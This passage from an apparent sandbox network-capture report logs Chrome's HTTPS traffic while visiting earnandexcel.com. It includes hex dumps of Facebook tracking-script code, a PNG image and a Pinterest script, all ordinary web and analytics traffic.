5b 61 5d 3d 66 2e 5f 5f 66 62 Data Ascii: (!(a instanceof b))throw new TypeError("Cannot call a class as a function")}f.__fbeventsModules\|\|(f.__fbeventsModules={},f.__fbeventsResolvedModules={},f.getFbeventsModules=function(a){f.__fbeventsResolvedModules[a]\|\|(f.__fbeventsResolvedModules[a]=f.__fb
2024-04-11 21:26:51 UTC	1500	IN	Data Raw: 6b 3f 68 3a 69 2c 73 68 6f 75 6c 64 45 78 74 72 61 63 74 55 73 65 72 44 61 74 61 3a 61 7d 29 3b 61 3d 64 28 29 3b 76 61 72 20 6c 3d 69 2e 66 6f 72 6d 46 69 65 6c 64 46 65 61 74 75 72 65 73 3b 69 3d 69 2e 75 73 65 72 44 61 74 61 3b 66 3d 7b 62 75 74 74 6f 6e 46 65 61 74 75 72 65 73 3a 66 2c 62 75 74 74 6f 6e 54 65 78 74 3a 67 2c 66 6f 72 6d 46 65 61 74 75 72 65 73 3a 6b 3f 5b 5d 3a 6c 2c 70 61 67 65 46 65 61 74 75 72 65 73 3a 61 2c 70 61 72 61 6d 65 74 65 72 73 3a 62 2e 74 72 69 67 67 65 72 28 7b 70 69 78 65 6c 3a 6a 2c 74 61 72 67 65 74 3a 65 7d 29 5b 30 5d 7d 3b 72 65 74 75 72 6e 5b 66 2c 69 5d 7d 6b 2e 65 78 70 6f 72 74 73 3d 65 7d 29 28 29 3b 72 65 74 75 72 6e 20 6b 2e 65 78 70 6f 72 74 73 7d 28 61 2c 62 2c 63 2c 64 29 7d 29 3b 0a 66 2e 65 6e 73 75 72 Data Ascii: k?h:i,shouldExtractUserData:a});a=d();var l=i.formFieldFeatures;i=i.userData;f={buttonFeatures:f,buttonText:g,formFeatures:k?[]:l,pageFeatures:a,parameters:b.trigger({pixel:j,target:e})[0]};return[f,i]}k.exports=e})();return k.exports}(a,b,c,d)});f.ensur
2024-04-11 21:26:51 UTC	1500	IN	Data Raw: 6c 6c 28 65 29 3b 66 6f 72 28 76 61 72 20 6d 3d 30 3b 6d 3c 68 2e 6c 65 6e 67 74 68 3b 6d 2b 2b 29 7b 76 61 72 20 6e 3d 68 5b 6d 5d 3b 69 66 28 6e 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 49 6e 70 75 74 45 6c 65 6d 65 6e 74 7c 7c 6e 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 54 65 78 74 41 72 65 61 45 6c 65 6d 65 6e 74 7c 7c 6e 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 53 65 6c 65 63 74 45 6c 65 6d 65 6e 74 7c 7c 6e 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 42 75 74 74 6f 6e 45 6c 65 6d 65 6e 74 29 7b 76 61 72 20 6f 3d 22 22 2b 6e 2e 74 61 67 4e 61 6d 65 2b 28 6e 2e 74 79 70 65 3d 3d 3d 76 6f 69 64 20 30 3f 22 22 3a 6e 2e 74 79 70 65 29 3b 6f 3d 6a 2e 69 6e 63 72 65 6d 65 6e 74 41 6e 64 47 65 74 28 6f 29 3b 69 66 28 6f 3e 64 7c 7c Data Ascii: ll(e);for(var m=0;m<h.length;m++){var n=h[m];if(n instanceof HTMLInputElement\|\|n instanceof HTMLTextAreaElement\|\|n instanceof HTMLSelectElement\|\|n instanceof HTMLButtonElement){var o=""+n.tagName+(n.type===void 0?"":n.type);o=j.incrementAndGet(o);if(o>d\|\|
2024-04-11 21:26:51 UTC	1500	IN	Data Raw: 6e 20 61 7d 2c 62 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 55 74 69 6c 73 22 29 2c 63 3d 62 2e 65 61 63 68 2c 64 3d 2f 5b 5e 5c 73 5c 22 5d 2f 2c 65 3d 2f 5b 5e 5c 73 3a 2b 5c 22 5d 2f 3b 66 75 6e 63 74 69 6f 6e 20 67 28 62 2c 63 2c 66 29 7b 69 66 28 66 3d 3d 6e 75 6c 6c 29 72 65 74 75 72 6e 20 64 2e 74 65 73 74 28 63 29 3f 63 3d 3d 3d 22 40 22 3f 6e 75 6c 6c 3a 7b 73 74 61 72 74 3a 62 2c 75 73 65 72 4f 72 44 6f 6d 61 69 6e 3a 22 75 73 65 72 22 7d 3a 6e 75 6c 6c 3b 69 66 28 63 3d 3d 3d 22 40 22 29 72 65 74 75 72 6e 20 66 2e 75 73 65 72 4f 72 44 6f 6d 61 69 6e 3d 3d 3d 22 64 6f 6d 61 69 6e 22 3f 6e 75 6c 6c 3a 61 28 7b 7d 2c 66 2c 7b 75 73 65 72 4f 72 44 6f 6d 61 69 6e 3a 22 64 6f 6d Data Ascii: n a},b=f.getFbeventsModules("SignalsFBEventsUtils"),c=b.each,d=/[^\s\"]/,e=/[^\s:+\"]/;function g(b,c,f){if(f==null)return d.test(c)?c==="@"?null:{start:b,userOrDomain:"user"}:null;if(c==="@")return f.userOrDomain==="domain"?null:a({},f,{userOrDomain:"dom
2024-04-11 21:26:51 UTC	1500	IN	Data Raw: 66 28 61 3d 3d 6e 75 6c 6c 29 72 65 74 75 72 6e 21 30 3b 76 61 72 20 62 3d 44 61 74 65 2e 6e 6f 77 28 29 2c 63 3d 62 2d 74 68 69 73 2e 5f 6c 61 73 74 54 69 6d 65 3b 69 66 28 63 3e 3d 74 68 69 73 2e 5f 72 61 74 65 4d 53 29 72 65 74 75 72 6e 21 30 3b 66 6f 72 28 76 61 72 20 64 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 65 3d 41 72 72 61 79 28 64 29 2c 66 3d 30 3b 66 3c 64 3b 66 2b 2b 29 65 5b 66 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 66 5d 3b 69 66 28 61 2e 6c 65 6e 67 74 68 21 3d 3d 65 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 21 30 3b 66 6f 72 28 76 61 72 20 67 3d 30 3b 67 3c 65 2e 6c 65 6e 67 74 68 3b 67 2b 2b 29 69 66 28 65 5b 67 5d 21 3d 3d 61 5b 67 5d 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 7d 2c 7b 6b 65 79 3a 22 70 61 73 73 Data Ascii: f(a==null)return!0;var b=Date.now(),c=b-this._lastTime;if(c>=this._rateMS)return!0;for(var d=arguments.length,e=Array(d),f=0;f<d;f++)e[f]=arguments[f];if(a.length!==e.length)return!0;for(var g=0;g<e.length;g++)if(e[g]!==a[g])return!0;return!1}},{key:"pass
2024-04-11 21:26:51 UTC	1500	IN	Data Raw: 6f 64 75 6c 65 73 28 22 73 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 44 6f 41 75 74 6f 6d 61 74 69 63 4d 61 74 63 68 69 6e 67 22 29 2c 44 3d 31 30 30 3b 66 75 6e 63 74 69 6f 6e 20 45 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 62 21 3d 6e 75 6c 6c 26 26 62 2e 62 75 74 74 6f 6e 53 65 6c 65 63 74 6f 72 3d 3d 3d 22 65 78 74 65 6e 64 65 64 22 7d 66 75 6e 63 74 69 6f 6e 20 46 28 62 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 63 29 7b 69 66 28 62 2e 64 69 73 61 62 6c 65 41 75 74 6f 43 6f 6e 66 69 67 29 72 65 74 75 72 6e 3b 76 61 72 20 65 3d 63 2e 74 61 72 67 65 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 4e 6f 64 65 3f 6e 28 63 2e 74 61 72 67 65 74 29 3a 6e 75 6c 6c 3b 69 66 28 65 21 3d 6e 75 6c 6c 29 7b 69 66 28 70 28 65 29 29 72 65 74 75 72 6e 3b 69 66 28 21 Data Ascii: odules("signalsFBEventsDoAutomaticMatching"),D=100;function E(a,b){return b!=null&&b.buttonSelector==="extended"}function F(b){return function(c){if(b.disableAutoConfig)return;var e=c.target instanceof Node?n(c.target):null;if(e!=null){if(p(e))return;if(!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
200	192.168.2.17	49950	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:51 UTC	1051	OUT	GET /wp-content/uploads/How-to-Create-a-Control-Chart-in-Excel-480x260.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
2024-04-11 21:26:51 UTC	905	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:51 GMT Content-Type: image/png Content-Length: 92730 Connection: close CF-Ray: 872e0eaaba5342a7-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "6607e72a-16a3a" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Sat, 30 Mar 2024 10:19:22 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=slmuOO4DPPqXZyaFvWYzW%2Bscfr1SoPxhjxTosDOlN9QmBxW1Yn%2B3rsKagcoX3W7hE9H%2Bl3zm5F2IY2X8dPUwtPvZfq2S3iG1xIULIDDUTEnhQ4UFLkHFjVYbk1PyRvVINTw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 e0 00 00 01 04 08 06 00 00 00 f0 01 e7 01 00 00 80 00 49 44 41 54 78 da ec fd 77 b8 6d 4b 7a d6 87 fe aa 6a 84 99 57 5e 3b e7 bd 4f 3e dd a7 5b 1d d5 8d b2 64 23 c0 46 92 41 18 61 63 30 b6 79 cc 83 af c1 18 ec fb 5c 1b 6c 7c 9d 2e d7 60 b2 b1 80 6b 04 06 09 0b 2c 21 09 21 b5 d4 2d 75 b7 d4 d2 e9 78 72 da 67 e7 b0 72 98 71 84 aa ba 7f d4 18 63 8d 39 d6 5c 3b 9e 7d ba fb f4 ac 7e 66 9f bd 66 18 55 a3 aa 46 bd df f7 7e 49 f0 c7 3e 64 01 98 09 41 49 d8 1c f2 48 9a 12 70 a4 0d 37 76 c1 3e 9a 2e 58 6e 42 3f 86 7e f2 68 ae 5f f7 60 a6 06 b7 7b 8f e6 fa 02 38 da 86 95 3e a4 e6 d1 f4 31 5b 73 ff dd 1e 3d ba 75 3e da 81 6b 3b 3c b2 76 a8 09 bb 11 0c d3 07 be 84 14 02 29 e5 c4 cf 6c c3 c7 36 7d e4 da 60 c2 12 Data Ascii: PNGIHDRIDATxwmKzjW^;O>[d#FAac0y\l\|.`k,!!-uxrgrqc9\;}~ffUF~I>dAIHp7v>.XnB?~h_`{8>1[s=u>k;<v)l6}`
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: bf f8 73 3f ce 33 c7 ce f1 73 2f 7c 6e 0a be d3 f6 0d df 7a d1 80 bf f4 4b ff 90 99 7a 8b 3f f2 89 df 83 9f 81 b0 bd f3 b3 b9 77 d8 d9 83 b5 ce aa a6 79 b7 c3 a6 4a 8e 59 71 f0 71 69 99 44 2d 1e 34 56 8b a8 48 13 c5 ef 2b 7d 48 5b a6 49 6d e5 a4 ab 4e c7 41 7c b7 1d 43 d0 b2 cd d7 d8 3d aa 55 00 32 d7 8e 8b b1 d8 71 47 a3 09 ce 3d 94 b4 64 61 ef 73 9e 1f 18 07 c4 fe 83 ff 20 93 c1 01 da 59 95 47 b0 fb d6 bf 6c 07 9d 74 d1 fd 04 b6 a8 30 0e a2 dc 9f 15 77 19 d4 38 08 55 01 d7 8c 69 c0 ee 3b e5 33 5d 96 66 a6 10 df 44 79 c6 c4 dd 1e a1 bb 7e 7e 2f 20 2f 00 61 f6 fe 10 b9 70 66 4b cc 43 89 81 11 a6 8f 4a 6f 61 45 03 e3 1f c6 a2 4a cf 6c 79 77 1b a4 8d c1 a6 60 93 89 fb 7d 22 00 0b 21 90 42 a2 cd c1 84 71 a0 7c fe 8b df f9 87 f9 b7 3f f2 af f1 d3 5f fa 15 fe Data Ascii: s?3s/\|nzKz?wyJYqqiD-4VH+}H[ImNA\|C=U2qG=das YGlt0w8Ui;3]fDy~~/ /apfKCJoaEJlyw`}"!Bq\|?_
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: 74 92 12 04 1e 42 29 87 63 4a a2 ad 61 34 8c f0 3c 8f 30 0c 33 61 c1 ed 31 9d 6a 8c 19 e0 9b 5b 48 a9 c0 3f 09 84 0e cc 75 b6 46 59 c0 9a 31 02 61 52 24 06 6d 34 da 1a 04 d9 5a 67 8c 89 b1 86 24 d1 18 53 c3 f7 1f 03 e1 7e a7 b5 53 3c 3d cf 43 2a 17 2f 9c 9b 18 f2 58 76 f7 6c dd 83 06 7c 6b 67 83 e7 2f bf c2 7c a3 c3 1b ab d7 ee 78 e0 3c 7f f9 15 be 78 f9 d5 a9 c6 3a 6d d3 96 b5 b7 56 af f1 e7 fe af ff 95 bf f2 a3 ff 39 cf 1c 3e 3b 66 14 4b 92 18 a3 0d ca f3 1d 48 95 24 ec 5c 3a d7 5a a3 44 1e 4b bc a7 51 e8 24 cd 34 64 55 c4 1e 0b dc c1 1a a7 1a 4f 7a 48 21 b1 56 93 26 1a 44 76 60 0b 07 be 49 9a 60 8d 45 79 8a 22 32 56 e4 87 b1 20 4e 12 ac 75 60 ec ae c3 9e 56 2e a5 d3 36 8c 25 4d 35 02 f0 3c 31 d1 93 b7 c4 43 3a 20 b0 d5 c3 27 07 78 27 84 38 6d 6f 4f db Data Ascii: tB)cJa4<03a1j[H?uFY1aR$m4Zg$S~S<=C*/Xvl\|kg/\|x<x:mV9>;fKH$\:ZDKQ$4dUOzH!V&Dv`I`Ey"2V Nu`V.6%M5<1C: 'x'8moO
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: 69 9c 22 5b 73 93 9b 08 32 cd 4c 08 e5 84 b7 6c 0c a2 08 a8 15 85 63 9f 92 5e 26 64 18 52 6d 58 df dc e0 da b5 eb 0c 86 43 7c df 67 66 76 96 43 cb 87 98 9b 9d c3 20 31 9a 8c 31 70 63 f1 3d 0f 95 cd 41 9e 12 54 65 5a b9 35 19 8a 66 fc 45 62 0c 1a 81 15 0a 23 04 da ee d1 d9 a9 05 44 06 da 65 7b aa 10 99 5d 1e 7c 21 51 52 64 3e 0c 02 a1 1c 5a e9 4c 30 11 42 e2 29 89 f4 7d b0 a0 6d 3e 56 e1 12 63 8a 3d 01 cf 3d 56 d9 9c eb 1a 51 7a ca ad 99 17 14 fe 06 4e 61 76 66 00 21 0c 42 81 f2 14 56 ba f7 11 0e 74 f3 b1 0f 47 23 d6 36 d6 b8 bd 72 9b 9d dd 1d c2 c0 67 79 79 99 93 27 4e 52 0b 43 94 ca ad bc 6e 8d 1c b3 91 ef 0f 59 d0 d0 77 a5 a0 a7 6d da be 65 da 3b ec fe 6a 4b 86 c1 d4 6a 7e ee 85 5f 47 25 f0 87 9e fe 3e 0e cf 2d b0 30 3f cf cc cc 0c 4a a9 8c 96 73 2e 11 Data Ascii: i"[s2Llc^&dRmXC\|gfvC 11pc=ATeZ5fEb#De{]\|!QRd>ZL0B)}m>Vc==VQzNavf!BVtG#6rgyy'NRCnYwme;jKj~_G%>-0?Js.
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: 94 9d 92 22 93 f2 c5 c1 25 b6 06 5b 98 97 25 46 29 3e d1 6a 52 6f cc 32 d2 69 41 95 95 cc a8 a0 9c 26 9c 02 36 a3 62 fb 71 4c 62 ad d3 54 85 c0 2a 85 0c 42 77 50 64 92 bb 05 8c 94 a4 d2 d9 e5 34 14 8e 23 11 96 44 08 12 01 97 ae 5f e7 ab 2f be c0 68 34 a4 d3 e9 70 e2 f8 09 c2 76 8b fa 4c 07 4f 29 b4 94 c4 ce f4 b8 27 b9 67 0e 5b da 58 8c 75 92 7d ee 88 e4 b4 b0 ec 70 c9 29 d3 cc e9 04 20 c5 69 3c f9 e1 33 d4 29 db 83 3e 3b c3 21 06 83 4a 6b c4 d6 60 94 03 73 21 2c 56 48 07 86 52 22 8c 65 b7 b7 cb 95 5b 37 f8 d2 d7 be c6 97 5f 7e 91 ab b7 6f 33 1a 0c 11 da 60 b4 21 94 8a f5 7a 9b b4 17 a3 52 41 bb 3d c3 fc f2 32 22 ac 31 d0 86 f5 5e 8f 91 30 2c 76 bb 6c 0f 06 8c ac 21 15 92 04 07 5e b9 97 b2 14 ce be 28 33 a1 41 20 b0 d2 d1 c7 a9 b6 18 52 17 7b ac 64 26 58 Data Ascii: "%[%F)>jRo2iA&6bqLbT*BwPd4#D_/h4pvLO)'g[Xu}p) i<3)>;!Jk`s!,VHR"e[7_~o3`!zRA=2"1^0,vl!^(3A R{d&X
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: 96 cc 09 cd d1 77 fd d1 80 6b 37 6f f2 e2 ab af 70 f5 e6 4d 22 63 98 5b 5a e4 03 cf be 9f 67 ce 3f 4e 34 18 f2 e6 6b af f3 d2 97 bf c6 e6 ce 2e 2b eb 1b dc 5c 5d 65 66 e9 10 b1 d1 58 21 51 be 8f a8 05 f8 8d 3a d4 42 ba 3a 65 b5 db 45 0d 46 88 34 21 f4 3c 66 db 6d 1a 41 80 ce a8 4a 17 9e 62 d8 de e9 b2 bb b3 4b aa 9d ed 5d 03 b5 5a 48 bd 5e a3 1e d6 0a 30 46 39 4d 33 1a 8c 88 a2 88 24 d1 20 05 f5 7a 9d 5a e8 d3 ed 76 89 e3 18 cf f7 11 42 d2 eb 0f d8 e8 75 e9 46 11 a9 14 24 42 d0 8f 63 56 b7 b7 99 db de 62 56 77 68 09 49 10 38 87 a3 38 8e e9 f5 fb 6c 6d 6f 63 b4 a6 56 0b e9 b4 5a b4 1b 0d 6a 41 80 a7 1d e5 1d 22 f0 44 ee a1 ec 1c 97 ea ad 26 0b 87 0e 71 32 89 41 29 82 7a 8d 7a b3 49 67 61 91 44 0a b6 77 b6 5d 2c b1 10 f8 81 4f bd 56 a7 21 05 d1 68 44 bf db Data Ascii: wk7opM"c[Zg?N4k.+\]efX!Q:B:eEF4!<fmAJbK]ZH^0F9M3$ zZvBuF$BcVbVwhI88lmocVZjA"D&q2A)zzIgaDw],OV!hD
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: 7c 9a 1b 37 6e 50 af d7 59 58 58 20 0c 02 a2 4c 4b 1a 8e 86 20 05 87 8f 1e e5 c9 a7 9f e2 c2 93 4f 70 6b 75 85 5f f9 dc 67 1d 38 87 35 ac 31 ec 0c 07 ec 5e 7a 9b db eb eb ac 6e 6c f0 fd df 53 63 d4 ef f3 f2 eb 6f f0 da ab af d1 ef 76 99 ed cc 70 f2 e4 49 a4 10 bc fc f2 4b 1c 3b 7e 8c ef fb 9e ef a5 d6 6a 11 45 11 5f fa ca 97 79 f1 a5 97 b9 74 f9 32 c3 d1 88 28 49 30 d6 b0 b8 b4 c4 d9 73 67 79 ee b9 f7 f3 e4 85 c7 38 7a e8 b0 a3 d8 85 44 4b c1 30 4d 89 d2 04 55 0b 1d 60 28 e9 9c 79 30 58 0d 89 d1 24 c6 90 64 9a 67 62 0c 28 45 a3 d5 e6 e8 f1 63 2c 2c cc 3b 67 98 46 93 e3 87 8f f0 d4 e3 4f 12 f7 87 cc b7 67 a8 b5 5b 18 25 50 81 87 aa 85 48 3f 20 d6 09 ab eb eb ec c6 23 86 a3 11 2a 4e 69 6a 30 a3 98 b9 4e 9b 8d 0f 6e f1 a1 0f 3e c7 99 d3 a7 10 52 71 6b 75 9d Data Ascii: \|7nPYXX LK Opku_g851^znlScovpIK;~jE_yt2(I0sgy8zDK0MU`(y0X$dgb(Ec,,;gFOg[%PH? #*Nij0Nn>Rqku
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: ee f2 a9 e7 af 71 63 a3 c7 6f bc d9 e3 cc f9 98 d9 c5 79 7c df c3 0b 7d 54 e0 22 0c bc 30 60 63 28 d8 8c 1b 04 78 19 f3 be 17 8f 2c a5 42 fa 2e f4 49 4a 55 4a e6 4a 45 03 9e ad b9 7f b5 03 67 48 cf 3c 1a ff c6 57 ff 05 5f ed 5e e5 85 eb 6f b1 13 a6 10 d4 0e 84 d3 4d e7 33 09 61 ed e0 53 49 09 68 05 30 5b 7b 74 18 dc 0a 5c 3f be 7a 34 d7 af 79 7b f7 f0 48 4e ee ec 1e 22 ed f2 b9 3d 8a d6 09 1f 2d fa 28 01 2d ff d1 cd 11 40 3b 74 60 16 3e b8 19 c3 66 19 7c 26 7e 56 f3 a0 e1 63 13 7d 4f e2 64 61 ff b5 a5 43 2f 0b 39 18 ab 51 9b fd 57 03 bf 7a f1 b7 78 fa b7 2f f0 dc 91 a7 b9 78 e9 12 6b 1b eb c4 49 42 bb d3 e1 f4 c9 d3 34 1a 4d d6 37 37 b8 79 fb 16 bb fd 3e 17 af 5c e1 c8 c9 93 3c 19 a7 78 35 10 9e 47 d8 6c 52 6b b7 5d 06 27 a5 a8 b5 9a cc 74 66 48 d2 84 6e Data Ascii: qcoy\|}T"0`c(x,B.IJUJJEgH<W_^oM3aSIh0[{t\?z4y{HN"=-(-@;t`>f\|&~Vc}OdaC/9QWzx/xkIB4M77y>\<x5GlRk]'tfHn
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: 72 ed 06 e9 30 c2 93 8a 5a bd 41 7b 6e 8e a3 27 4f 11 78 3e b3 33 0b 9c 39 71 13 99 c4 9c 38 71 d2 81 7f e6 18 25 8d 71 31 c7 52 22 b4 24 05 a2 8c d2 37 da 25 19 91 79 45 22 e9 c2 cf 46 d6 10 d9 94 f6 7c 87 4f 7e f4 c3 b4 1b 6d de ba 74 85 cf fc fa af b3 b5 bb 4d ad 55 47 d7 7c 62 df 09 7d 12 89 e7 4a 54 21 8d c5 8b 0c 22 4a 21 d5 20 24 d6 f7 e8 a6 09 bf f9 b5 2f f3 c2 1b af d2 54 01 6d 14 6d 03 35 01 1f 78 e6 09 ce 2d 2e d0 f4 3b 2c b4 da 5c 78 ea 31 56 d3 1e af 5d bb ca c8 44 44 db 9b 8c de 7c 8d de c6 3a aa 56 63 b9 dd e1 f4 91 c3 9c 5c 9c 27 4a 12 b6 36 36 d8 ee 77 19 ea 84 99 d9 59 9e fd e0 fb 79 e6 a9 a7 09 8d 40 74 fb 6c 5d ba 8a 88 35 d1 f6 2e 6b 37 6e 32 b7 30 cf ee a0 cf 95 b5 55 d6 47 23 c2 d9 59 4e 5d 78 9c f7 3d f1 14 a7 8f 1c a1 d1 0a d9 1d Data Ascii: r0ZA{n'Ox>39q8q%q1R"$7%yE"F\|O~mtMUG\|b}JT!"J! $/Tmm5x-.;,\x1V]DD\|:Vc\'J66wYy@tl]5.k7n20UG#YN]x=
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: bf f2 0a d7 6e dc e4 d8 d1 e3 3c 79 ee 3c 17 4e 1c e7 d0 6c 87 4e 3d 2c 4c 22 2e fd a8 40 a7 ae a0 45 9c ba a2 14 f9 67 d6 5a a2 28 22 d5 ba c8 7b ac ad 8b 71 b6 52 a0 05 24 58 f0 3d 82 7a 0d bf 16 a0 85 a5 3f 1c 10 eb 04 a1 5c 19 42 9c cf 9c 23 94 94 c0 f3 24 9e 97 d5 32 b6 86 d4 24 68 61 a8 d5 03 fc 7a 80 37 4c 08 23 4d 5d 7a cc cf 75 98 ed b4 90 59 cc 74 10 d6 38 71 ec 04 c7 ae 1f a3 d5 6a d1 ed 8e 18 44 43 06 a3 11 e1 30 a1 53 6f b3 7c f8 10 cb 87 0f e1 05 1e 83 68 40 77 d0 c3 0a 8b f4 15 d2 97 84 b5 80 66 a3 41 c7 0b 39 fc f1 8f f1 c9 f7 7f d0 09 95 81 c2 86 1e db 49 8c be 9e 90 a6 09 89 4e 18 44 03 6e af ad f0 66 10 d2 db ee 32 ec f6 88 92 98 51 1a 13 e9 d8 51 fa d6 c5 33 6b 01 89 75 eb eb 7b 81 8b 3d d6 1a ad 35 5a 4a 12 0b 0a e5 0a 31 d8 bc 46 87 Data Ascii: n<y<NlN=,L".@EgZ("{qR$X=z?\B#$2$haz7L#M]zuYt8qjDC0So\|h@wfA9INDnf2QQ3ku{=5ZJ1F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
201	192.168.2.17	49951	199.232.36.84	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:51 UTC	535	OUT	GET /ct/lib/main.4701fd00.js HTTP/1.1 Host: s.pinimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:51 UTC	481	IN	HTTP/1.1 200 OK Connection: close Content-Length: 22882 ETag: "3d4cd9a154b5407111e9c13c17302718" x-amz-server-side-encryption: AES256 Content-Encoding: gzip Content-Type: application/javascript X-CDN: fastly alt-svc: h3=":443";ma=600 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Access-Control-Max-Age: 86400 Access-Control-Expose-Headers: X-CDN Vary: Accept-Encoding, Origin Cache-Control: max-age=1209600 date: Thu, 11 Apr 2024 21:26:51 GMT
2024-04-11 21:26:51 UTC	1378	IN	Data Raw: 1f 8b 08 08 97 f2 16 66 00 03 6d 61 69 6e 2e 34 37 30 31 66 64 30 30 2e 6a 73 00 c4 5c 0f 73 db b6 92 ff 2a 32 67 aa 10 21 a5 90 94 2c 3b 14 11 8d d3 e7 ce e4 5e 9b 74 9a f4 e6 3a 1e 8f 87 96 20 8b 8d 0c fa 48 d0 ae 9f a5 7e f6 db 05 08 12 94 48 db 71 de cd 9b 36 36 09 82 8b 1f 16 fb 0f bb a0 0f 96 05 9f 8b 24 e5 76 42 1e 6e e3 ac c7 e8 c3 76 aa 1b 7b 99 2d 54 33 9f 66 4c 14 19 b7 d9 99 38 df 6c 6c 4e f1 82 3e 24 a1 70 d7 e1 81 ef b2 bf 6e d2 4c e4 e1 c3 76 eb 26 f0 68 38 8f d7 6b 9b 0f cb 76 97 bb f5 75 46 e0 66 4d 0f 3c 97 13 a2 5b b7 d9 f0 9a 26 6e 36 9c 53 06 3f 17 b4 42 26 e0 65 40 97 0d 53 bc 24 9b cd a7 cb 3f d9 5c 0c 17 6c 99 70 f6 6b 96 de b0 4c dc cb 6e 0f 8c 17 d7 2c 8b 2f d7 2c 04 f2 57 4c 84 c9 96 6c 81 5e 66 d0 23 0f 56 c1 d5 db 0b eb 80 8a Data Ascii: fmain.4701fd00.js\s*2g!,;^t: H~Hq66$vBnv{-T3fL8llN>$pnLv&h8kvuFfM<[&n6S?B&e@S$?\lpkLn,/,WLl^f#V
2024-04-11 21:26:51 UTC	1378	IN	Data Raw: c3 d2 54 6b c1 37 9e 03 f9 ff 4e d8 1d 04 b9 fb 8d 30 22 b8 f4 2e cf 53 83 a9 fd 42 19 e8 1a ca 56 cb ec cc b2 1c 51 47 17 88 1d 6d 7a a2 e9 78 c6 ba 1d f8 d3 29 c9 ef 12 31 c7 90 e4 61 1e e7 cc 8a f3 79 92 58 a1 bc 5e 83 2c 72 bf bc 81 a8 35 ce ee ad 50 c7 ab 53 d9 2a f5 39 d4 97 83 f2 ba a7 7c 89 ee fb c5 ae f1 a8 ae f3 3c d0 6f cd f3 41 50 53 f0 27 b0 9f a8 e9 a9 db 92 4c f0 ba 1c 74 c5 fe aa 71 bc 7b f7 ce 57 cd 97 f0 63 32 ae 9e fc 69 8c 5a 46 ca a1 f4 00 2d a8 38 b5 81 6f 1c a5 e7 e7 f4 8e 65 3f 02 29 9b 80 95 83 4d 4b 2d 2f d5 36 4d b2 0f 4c 16 30 10 28 c2 c6 a5 f2 9d 7c b3 51 aa c9 c9 3b 0c 70 b4 da 94 2e c2 92 fd 93 ba 